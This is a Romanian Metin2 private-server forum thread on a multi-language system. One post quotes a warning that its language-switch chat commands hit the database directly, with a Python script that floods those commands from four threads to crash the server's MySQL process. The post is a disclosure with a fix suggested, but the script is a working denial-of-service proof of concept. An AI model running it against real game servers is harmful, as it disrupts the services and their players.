[C++] Multi language v1

Avatar utilizator
AndyOpris
Nivel 4

Nivel 4
Mesaje: 500
Membru din: 09 Iun 2015, 15:12
Server: -
Regat: Jinno
Aprecieri: 1  
Mulţumiri: 226  
Medalii

Luca Dr3Ame3r Cristian scrie:Quote de pe un website, cititi un pic inainte sa va riscati cu bullshituri de pe internet.

Cod: Selectaţi tot

x = 0
while x < 10000:
	net.SendChatPacket("/limba_engleza")
	net.SendChatPacket("/limba_romana")
	x += 1
could probably crash your mysql-process, when you let 5-10 players use it. Even with only one player and some threads you could crash the process alone:

Cod: Selectaţi tot

Python Source Code
class AnyClass(object):
	def __init__(self):
		chat.AppendChat(chat.CHAT_TYPE_INFO, "Trying to crash now...")
		chat.AppendChat(chat.CHAT_TYPE_INFO, "They stab it with their steely knives but they just can't kill the beast.")
	def JustACrash(self):
		x = 0
		while x < 10000:
			net.SendChatPacket("/limba_engleza")
			net.SendChatPacket("/limba_romana")
			x += 1
	def Crash(self):
		import thread
		thread.start_new_thread(self.JustACrash,())
		thread.start_new_thread(self.JustACrash,())
		thread.start_new_thread(self.JustACrash,())
		thread.start_new_thread(self.JustACrash,())
AnyClass().Crash()
And now imagine 150 players doing that everyday, because they don't like you or something.
Try to improve your code by caching the variable of the database and not using DirectQuery's that often :).

Mici modificari aici http://just4metin.ro/sursa/fix-anti-cmd ... 78908.html si sa zicem ca ai rezolvat
Avatar utilizator
FRANCIS
Administrator Adjunct

Administrator Adjunct
Mesaje: 7879
Membru din: 06 Noi 2015, 19:52
Regat: Chunjo
Aprecieri: 334  
Mulţumiri: 54529  
Discord: Copiază ID
Medalii

Arhivat !
If you talk to a man in a language he understands, that goes to his head. If you talk to him in his own language, that goes to his heart.
Imagine
ENJOY
Imagine
Afișează semnătura
Închis
Răspunsuri
7
Vizualizări
1118
Răspunsuri
12
Vizualizări
1443
Răspunsuri
2
Vizualizări
331

Înapoi la “Arhivă”

  • Informaţie
  • Cine este conectat

    Utilizatori ce ce navighează pe acest forum: Niciun utilizator înregistrat și 8 vizitatori